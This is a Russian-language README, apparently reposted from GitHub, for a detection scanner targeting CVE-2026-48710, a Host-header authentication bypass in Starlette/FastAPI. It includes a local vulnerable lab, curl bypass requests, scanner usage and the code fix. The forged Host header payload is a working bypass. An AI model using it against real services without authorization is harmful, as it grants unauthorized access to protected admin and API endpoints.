## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BHANUNAMIKAZE-BADHOST-CVE-2026-48710-EXPLOIT
# BadHost — CVE-2026-48710 Сканер
Сканер только для обнаружения обхода аутентификации **BadHost** в Starlette / FastAPI — где промежуточное ПО аутентификации читает `request.url.path` вместо `request.scope["path"]`, что позволяет с помощью поддельного заголовка `Host` протащить разрешённый путь и обойти аутентификацию.
root@kitploit:~
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette видит request.url.path == "/health" → разрешено
# ASGI всё равно направляет на /admin → обход
**Затронуты:** Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
**Исправлено в:** Starlette 0.46.2+
* * *
## Возможности
* Передайте полный URL (`https://host/path`) — путь извлекается автоматически как зонд
* Загружает конечные точки из спецификации FastAPI/OpenAPI JSON или YAML (файл или URL)
* Автоматически обнаруживает неаутентифицированные пути для использования в качестве кандидатов для внедрения
* Тестирует оба заголовка: `Host` и `X-Forwarded-Host`, две стратегии полезной нагрузки
* Встроенные пресеты для AI/LLM (`--preset ai`) и MCP (`--preset mcp`) конечных точек
* Вывод: текстовый сводка, `--json`, `--csv`
* Живой прогресс сканирования в stderr; нулевые сторонние зависимости
* * *
## Локальная уязвимая лаборатория (`badhost_vuln_lab/`)
Поставляется с двумя FastAPI приложениями для локальной проверки:
Приложение| URL| Чтение аутентификации
---|---|---
Уязвимое| `http://127.0.0.1:8000`| `request.url.path` — обойдено
Исправленное| `http://127.0.0.1:8001`| `request.scope["path"]` — безопасно
root@kitploit:~
cd badhost_vuln_lab
docker compose up --build
Или без Docker:
root@kitploit:~
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001
### Ручной тест обхода
root@kitploit:~
curl -i http://127.0.0.1:8000/admin # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin # 200 — обход
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin # 403 — исправлено
* * *
## Установка
root@kitploit:~
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help # Python 3.9+, pip install не требуется
* * *
## Использование
root@kitploit:~
# Single full URL — path extracted automatically, no extra flags needed
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder
# Multiple full URLs
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users
# Add extra paths on top of a full URL
python badhost_openapi_scanner.py https://api.internal/checkout \
--protected POST:/api/checkout --protected GET:/api/cart
# Read-only scan from local openapi.json
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json
# Include write methods (staging/authorized only)
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi ./openapi.json --openapi-methods all \
--unsafe-allow-write --openapi-body-mode invalid
# Fetch OpenAPI directly from the target
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi http://api.internal:8000/openapi.json
# Multiple targets, CSV output
python badhost_openapi_scanner.py --targets-file targets.txt \
--openapi ./openapi.json --csv > results.csv
# AI/LLM + MCP preset paths (no OpenAPI needed)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all
> `--openapi-body-mode invalid` отправляет `{}` для методов записи — вызывает FastAPI `422` после обхода аутентификации без выполнения конечной точки. Результат `baseline=403 test=422` по-прежнему является **ПОДОЗРИТЕЛЬНЫМ** (SUSPECT) и стоит расследования.
> Не используйте `--openapi-body-mode minimal` на продакшене — он создаёт корректные тела запросов, которые могут выполнять конечные точки записи.
* * *
## Вердикты
В выводе появляются только CONFIRMED и SUSPECT. Код выхода `2` = CONFIRMED, `1` = SUSPECT, `0` = чисто.
* * *
## Исправление
root@kitploit:~
# Уязвимо
if request.url.path.startswith("/public"):
...
# Исправлено
if request.scope["path"].startswith("/public"):
...
Обновитесь до **Starlette 0.46.2+** / **FastAPI 0.116.0+**.
* * *
**Только для авторизованного тестирования. Сканируйте только те системы, которыми вы владеете или на тестирование которых получили явное разрешение.**